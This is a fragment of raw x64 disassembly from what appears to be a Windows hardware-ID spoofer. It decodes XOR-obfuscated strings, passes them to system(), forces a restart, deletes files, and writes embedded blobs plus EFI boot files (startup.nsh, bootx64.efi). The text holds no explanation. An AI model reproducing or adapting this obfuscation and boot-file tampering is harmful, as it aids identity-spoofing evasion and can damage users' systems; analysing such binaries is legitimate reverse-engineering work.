psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14006add0
cmp r8d, 0x25
jge 0x14006af01
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x14006aed0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [0x1415573e0], 0xd
movaps xmm12, xmm14
lea rcx, [rbp + 0x2000]
call fcn.1400735d0
cmp dword [0x1415573e0], 0xd
jne 0x14006b399
cmp byte [0x14155689a], 0
je 0x14006af4e
lea rcx, str.shutdown__r__t_7__c__Applying_Spoofing__Changes__Algorithms_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x14155689a], 0
call fcn.140008620
cmp dword [0x1415573e0], 0xd
movss xmm2, dword [rax + 0x10]
mulss xmm2, dword [0x1400c5c14]
jne 0x14006af73
movss xmm1, dword [0x1400c5cc8]
jmp 0x14006af77
movaps xmm1, xmm14
movss xmm0, dword [0x1415575f0]
call fcn.140073f90
movss dword [0x1415575f0], xmm0
call fcn.1400128f0
movss xmm1, dword [0x1400c5b98]
lea rcx, [0x141557678]
mov rdi, rax
call fcn.140004650
movsd xmm0, qword [0x141556900]
lea rdx, [rbp + 0x778]
movss xmm7, dword [0x1400c5c00]
lea rcx, [rbp + 0x780]
movss xmm6, dword [0x1415575f0]
movaps xmm2, xmm7
movsd qword [rbp + 0x778], xmm0
mov ebx, eax
call fcn.14003dae0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x788]
call fcn.14003db00
movss xmm0, dword [0x1400c5c1c]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140023c30
call fcn.1400128f0
movss xmm1, dword [0x1400c5bb0]
lea rcx, [0x141557678]
mov rdi, rax
call fcn.140004650
movsd xmm0, qword [0x141556900]
lea rdx, [rbp + 0x790]
movss xmm6, dword [0x1415575f0]
lea rcx, [rbp + 0x798]
movaps xmm2, xmm7
movsd qword [rbp + 0x790], xmm0
mov ebx, eax
mulss xmm6, xmm7
call fcn.14003dae0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x7a0]
call fcn.14003db00
movss xmm0, dword [0x1400c5c1c]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140023c30
call fcn.1400128f0
movss xmm1, dword [0x1400c5be0]
lea rcx, [0x141557678]
mov rdi, rax
call fcn.140004650
movsd xmm0, qword [0x141556900]
lea rdx, [rbp + 0x7a8]
movss xmm6, dword [0x1415575f0]
lea rcx, [rbp + 0x7b0]
mulss xmm6, dword [0x1400c5c14]
movaps xmm2, xmm7
mov ebx, eax
movsd qword [rbp + 0x7a8], xmm0
call fcn.14003dae0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x7b8]
call fcn.14003db00
movss xmm0, dword [0x1400c5c1c]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140023c30
call fcn.1400128f0
movss xmm1, dword [0x1400c5be0]
lea rcx, [0x141557678]
mov rdi, rax
call fcn.140004650
movsd xmm0, qword [0x141556900]
lea rdx, [rbp + 0x7c0]
movss xmm6, dword [0x1415575f0]
lea rcx, [rbp + 0x7c8]
mulss xmm6, dword [0x1400c5c1c]
movaps xmm2, xmm7
mov ebx, eax
movsd qword [rbp + 0x7c0], xmm0
call fcn.14003dae0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x7d0]
call fcn.14003db00
movss xmm0, dword [0x1400c5c1c]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140023c30
call fcn.1400128f0
movss xmm1, dword [0x1400c5be0]
lea rcx, [0x141557678]
mov rsi, rax
call fcn.140004650
movss xmm6, dword [0x1400c5c5c]
lea rcx, [rbp + 0x7d8]
movaps xmm2, xmm6
movaps xmm1, xmm14
mov edi, eax
call fcn.1400013d0
movss xmm0, dword [0x1400c5dcc]
lea rdx, str.Machine_Virtualized_Succesfully_
xor r9d, r9d
movss dword [rsp + 0x20], xmm0
xor r8d, r8d
lea rcx, [rbp + 0x7e0]
mov rbx, rax
call fcn.14000b960
movsd xmm0, qword [0x141556900]
lea rdx, [rbp + 0x7e8]
mov r8, rax
movsd qword [rbp + 0x7e8], xmm0
lea rcx, [rbp + 0x7f0]
call fcn.14003db30
mov r8, rbx
lea rcx, [rbp + 0x7f8]
mov rdx, rax
call fcn.14003db30
mov rdx, rax
lea rcx, [rbp + 0x800]
movaps xmm2, xmm7
call fcn.14003dae0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x808]
call fcn.14003db00
xor r14d, r14d
lea r9, str.Machine_Virtualized_Succesfully_
mov r8d, edi
mov qword [rsp + 0x20], r14
mov rdx, rax
mov rcx, rsi
call fcn.140023e50
call fcn.1400128f0
movss xmm1, dword [0x1400c5b98]
lea rcx, [0x141557678]
mov rsi, rax
call fcn.140004650
movaps xmm2, xmm6
lea rcx, [rbp + 0x810]
movaps xmm1, xmm14
mov edi, eax
call fcn.1400013d0
mov rbx, rax
movss xmm0, dword [0x1400c5dcc]
lea rdx, str.Restart_PC_To_Apply_Changes
xor r9d, r9d
movss dword [rsp + 0x20], xmm0
xor r8d, r8d
lea rcx, [rbp + 0x818]
call fcn.14000b960
movsd xmm0, qword [0x141556900]
lea rdx, [rbp + 0x820]
mov r8, rax
movsd qword [rbp + 0x820], xmm0
lea rcx, [rbp + 0x828]
call fcn.14003db30
mov r8, rbx
lea rcx, [rbp + 0x830]
mov rdx, rax
call fcn.14003db00
mov rdx, rax
lea rcx, [rbp + 0x838]
movaps xmm2, xmm7
call fcn.14003dae0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x840]
call fcn.14003db00
lea r9, str.Restart_PC_To_Apply_Changes
mov qword [rsp + 0x20], r14
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.140023e50
movss xmm0, dword [0x1415575f0]
comiss xmm0, dword [0x1400c5cc4]
jbe 0x14006b399
mov dword [0x1415575f0], r14d
cmp dword [0x1415573e0], 0xf
jne 0x14006c344
movss xmm2, dword [0x1400c5ce8]
lea rcx, [rbp + 0x848]
movss xmm1, dword [0x1400c5d3c]
addss xmm12, dword [0x1400c5be0]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
mov edx, 0xff
lea rcx, [rbp + 0x1710]
xor esi, esi
mov r9d, edx
mov r8d, edx
mov dword [rsp + 0x20], esi
call fcn.14002b3c0
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1720]
mov edx, 0x64
mov rbx, rax
call fcn.14002b3c0
movss xmm2, dword [0x1400c5c2c]
mov r9, rax
movss xmm1, dword [0x1400c5c60]
xor eax, eax
mov byte [rbp], al
movabs rdi, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
movabs r14, 0x2911b4dc05d67983
mov byte [rbp], al
movabs rax, 0x2976dab561b716cf
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1730], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1738], rcx
lea rcx, [rbp + 0x1730]
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1740], rax
mov dword [rsp + 0x38], esi
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1748], rax
movdqa xmm0, xmmword [rbp + 0x1740]
xorps xmm0, xmmword [rbp + 0x1730]
movdqa xmmword [rbp + 0x1730], xmm0
movss xmm0, dword [0x1400c5c24]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x1400c5c38]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
call fcn.14003d220
movss xmm2, dword [0x1400c5d04]
lea rcx, [rbp + 0x850]
movss xmm1, dword [0x1400c5d1c]
call fcn.1400013d0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1750]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.14002b3c0
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4e7fddba6ab909d0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3420], rax
movabs rax, 0x2b8d87d34ca4aac0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3428], rax
movabs rax, 0x1bc8b3ba8915b747
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
lea r8, [rbp + 0x10]
movss xmm3, dword [0x1400c5bf0]
lea rdx, [rbp + 0x3420]
mov qword [rbp + 0x3430], rax
movabs rbx, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3438], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3440], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3448], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3450], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1415573c8]
unpcklps xmm6, xmm7
mov qword [rbp + 0x3458], rax
vmovdqu ymm0, ymmword [rbp + 0x3440]
vpxor ymm1, ymm0, ymmword [rbp + 0x3420]
vmovss xmm0, dword [0x1400c5c64]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x3420], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.1400425a0
lea rdx, str.NVM_Restore_Point
lea rcx, [rbp + 0x3460]
call fcn.140073640
comiss xmm12, dword [0x1400c5d94]
jbe 0x14006b650
lea rcx, [rbp + 0x3460]
call fcn.140040590
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2946b48005ec79c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6300], rax
movabs rax, 0x4f87f3c52dbef989
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6308], rax
movabs rax, 0x1b9bb3e68966b73a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6310], rax
movabs rax, 0x2fc5d523e5adbc93
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6318], rax
movabs rax, 0xc736e95ab6d84fda
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6320], rax
movabs rax, 0xe9f95a98bc3a3483
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6328], rax
movabs rax, 0x3d5af2abc3e7a2fd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6330], rax
movabs rax, 0xebbe36ab36f2d288
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6338], rax
movabs rax, 0x52387850a87c7163
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6340], rax
movabs rax, 0x24a8ffacdf53ef0d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6348], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58a0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58a8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58b0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58b8], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58c0], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58c8], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58d0], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58d8], rax
movabs rax, 0x52167864a84a710b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58e0], rax
movabs rax, 0x24a8ffc9df2bef68
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58e8], rax
vmovdqu ymm0, ymmword [rbp + 0x58a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x6300]
vmovdqu ymm0, ymmword [rbp + 0x6320]
vmovdqa xmm2, xmmword [rbp + 0x58e0]
lea rdx, [rbp + 0x6300]
vxorps xmm2, xmm2, xmmword [rbp + 0x6340]
lea rcx, [rbp + 0x3480]
vmovdqa ymmword [rbp + 0x6300], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x58c0]
vmovdqa ymmword [rbp + 0x6320], ymm1
vmovdqa xmmword [rbp + 0x6340], xmm2
vzeroupper
call fcn.140073640
mov r8d, 0x1119e00
lea rdx, [0x1402dd920]
lea rcx, [rbp + 0x3480]
call fcn.14003de10
lea rcx, [rbp + 0x3480]
call fcn.1400735d0
xor eax, eax
movabs rcx, 0xe9945afdbc5834f4
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f00], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f08], rax
movabs rax, 0x76add1cdd5278420
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f10], rax
movabs rax, 0x6ad8bc118ab3efb6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f18], rax
movabs rax, 0xc70f910d98df79df
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f20], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f28], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3ba0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3ba8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3bb0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3bb8], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3bc0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x4f00]
mov rax, qword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x4f20]
vmovdqu ymm0, ymmword [rbp + 0x3ba0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4f00]
mov qword [rbp + 0x3bc8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x3bc0]
vmovdqa ymmword [rbp + 0x4f00], ymm1
vmovdqa xmmword [rbp + 0x4f20], xmm2
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
movabs rcx, 0xe9945afdbc5834f4
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f40], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f48], rax
movabs rax, 0x76add1cdd5278420
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f50], rax
movabs rax, 0x6ad8bc118ab3efb6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f58], rax
movabs rax, 0xc70f910d98df79df
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f60], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f68], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3be0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3be8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3bf0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3bf8], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3c00], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x4f40]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x3be0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4f40]
mov qword [rbp + 0x3c08], rax
vmovdqa xmm2, xmmword [rbp + 0x3c00]
vxorps xmm2, xmm2, xmmword [rbp + 0x4f60]
vmovdqa xmmword [rbp + 0x4f60], xmm2
vmovdqa ymmword [rbp + 0x4f40], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rcx, [rbp + 0x4f80]
mov byte [rbp], al
xorps xmm0, xmm0
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7031c0bf60ba1cd0
movups xmmword [rbp + 0x4f90], xmm0
movups xmmword [rbp + 0x4f80], xmm0
movups xmmword [rbp + 0x4fa0], xmm0
movups xmmword [rbp + 0x4fb0], xmm0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1760], rax
movabs rax, 0x4faaa0f40da28c8f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1768], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1770], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1778], rax
lea rax, [rbp + 0x1760]
movdqa xmm0, xmmword [rbp + 0x1770]
xorps xmm0, xmmword [rbp + 0x1760]
movdqa xmmword [rbp + 0x1760], xmm0
mov qword [rbp + 0x4f98], rax
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
mov rbx, rax
test rax, rax
je 0x14006bffb
lea rdx, [rbp + 0xaf70]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea rcx, [rbp + 0x858]
mov qword [rbp + 0x858], rsi
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
js 0x14006bc4f
mov rcx, qword [rbp + 0x858]
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [rbp + 0x858]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor eax, eax
lea rdx, [rbp + 0xaf70]
mov byte [rbp], al
lea rcx, [rbp + 0x34a0]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2978b4ba05b379df
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1780], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1788], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1790], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1780]
mov qword [rbp + 0x1798], rax
xorps xmm0, xmmword [rbp + 0x1790]
movdqa xmmword [rbp + 0x1780], xmm0
call fcn.140073640
lea r8, [rbp + 0x1780]
mov rdx, rax
lea rcx, [rbp + 0x34c0]
call fcn.140074110
lea rcx, [rbp + 0x34a0]
call fcn.1400735d0
xor eax, eax
lea r8, [rbp + 0x17a0]
mov byte [rbp], al
lea rdx, [rbp + 0x34c0]
mov byte [rbp], al
lea rcx, [rbp + 0x34e0]
mov byte [rbp], al
movabs rax, 0x297eb4b305b479df
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17a0], rax
movabs rax, 0x4fe8f3a12dd0f994
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17a8], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17b0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17b8], rax
movdqa xmm0, xmmword [rbp + 0x17b0]
xorps xmm0, xmmword [rbp + 0x17a0]
movdqa xmmword [rbp + 0x17a0], xmm0
call fcn.140073fa0
lea rcx, [rbp + 0x34c0]
call fcn.140073540
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14006bda4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14006bfe3
lea rcx, [rbp + 0x34e0]
call fcn.140073540
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14006bdd0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14006bfe3
xor eax, eax
movabs rdx, 0x1bc8b3ba8915b74d
mov byte [rbp], al
movabs rcx, 0x2fa0d557e5debcea
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x297cb4aa05b779df
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3500], rax
movabs rax, 0x4f81f3c72db5f9ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3508], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3510], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3518], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3520], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3528], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0xaf70]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3530], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x3540]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3538], rax
vmovdqu ymm0, ymmword [rbp + 0x3520]
vpxor ymm1, ymm0, ymmword [rbp + 0x3500]
vmovdqu ymmword [rbp + 0x3500], ymm1
vzeroupper
call fcn.140073640
lea r8, [rbp + 0x3500]
mov rdx, rax
lea rcx, [rbp + 0x3560]
call fcn.140074110
lea rcx, [rbp + 0x3540]
call fcn.1400735d0
lea rcx, [rbp + 0x3560]
call fcn.140073540
mov rdx, rax
lea rcx, [rbp + 0x3580]
call fcn.140073640
mov r8d, 0x596b0
lea rdx, [0x141421190]
lea rcx, [rbp + 0x3580]
call fcn.14003de10
lea rcx, [rbp + 0x3580]
call fcn.1400735d0
lea r8, str._startup.nsh
lea rdx, [rbp + 0x34e0]
lea rcx, [rbp + 0x35a0]
call fcn.140073fa0
lea r8, str._bootx64.efi
lea rdx, [rbp + 0x34e0]
lea rcx, [rbp + 0x35c0]
call fcn.140073fa0
lea rcx, [rbp + 0x35a0]
call fcn.140073540
mov rdx, rax
lea rcx, [rbp + 0x35e0]
call fcn.140073640
mov r8d, 0x42c
lea rdx, [0x14141da90]
lea rcx, [rbp + 0x35e0]
call fcn.14003de10
lea rcx, [rbp + 0x35e0]
call fcn.1400735d0
lea rcx, [rbp + 0x35c0]
call fcn.140073540
mov rdx, rax
lea rcx, [rbp + 0x3600]
call fcn.140073640
mov r8d, 0xeb640
lea rdx, [0x1401f22e0]
lea rcx, [rbp + 0x3600]
call fcn.14003de10
lea rcx, [rbp + 0x3600]
call fcn.1400735d0
lea rcx, [rbp + 0x35c0]
call fcn.1400735d0
lea rcx, [rbp + 0x35a0]
call fcn.1400735d0
lea rcx, [rbp + 0x3560]
call fcn.1400735d0
lea rcx, [rbp + 0x34e0]
call fcn.1400735d0
lea rcx, [rbp + 0x34c0]
call fcn.1400735d0
xor eax, eax
lea rdx, [rbp + 0x17c0]
mov byte [rbp], al
lea rcx, [rbp + 0x3620]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a63d1af508a43c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17c0], rax
movabs rax, 0x4fe8f3a12dd0f9bc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17c8], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17d0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17d8], rax
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x17c0]
movdqa xmmword [rbp + 0x17c0], xmm0
call fcn.14002b4a0
lea rdx, [rbp + 0xae60]
lea rcx, [rbp + 0x3620]
call fcn.140073680
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4865d59875a638df
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6360], rax
movabs rax, 0x28869acc4cbfabbc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6368], rax
movabs rax, 0x74bbdcc8ea7cfa11
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6370], rax
movabs rax, 0x40c4bb3eb282c88c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6378], rax
movabs rax, 0xb318881ce5b73cc0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6380], rax
movabs rax, 0x9bc40688d23d79d4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6388], rax
movabs rax, 0x6e6981aba2c6c5ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6390], rax
movabs rax, 0xafa746a642e9b3ba
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6398], rax
movabs rax, 0x2a73562dee0f1d6e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x63a0], rax
movabs rax, 0x24a8ffc9df2bef0d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x63a8], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5900], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5908], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5910], rax
movabs rax, 0x2fa0d557e5debcea
lea rdx, [rbp + 0x6360]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x3620]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5918], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5920], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5928], rax
movabs rax, 0x3d35f2c6c3b4a2a1
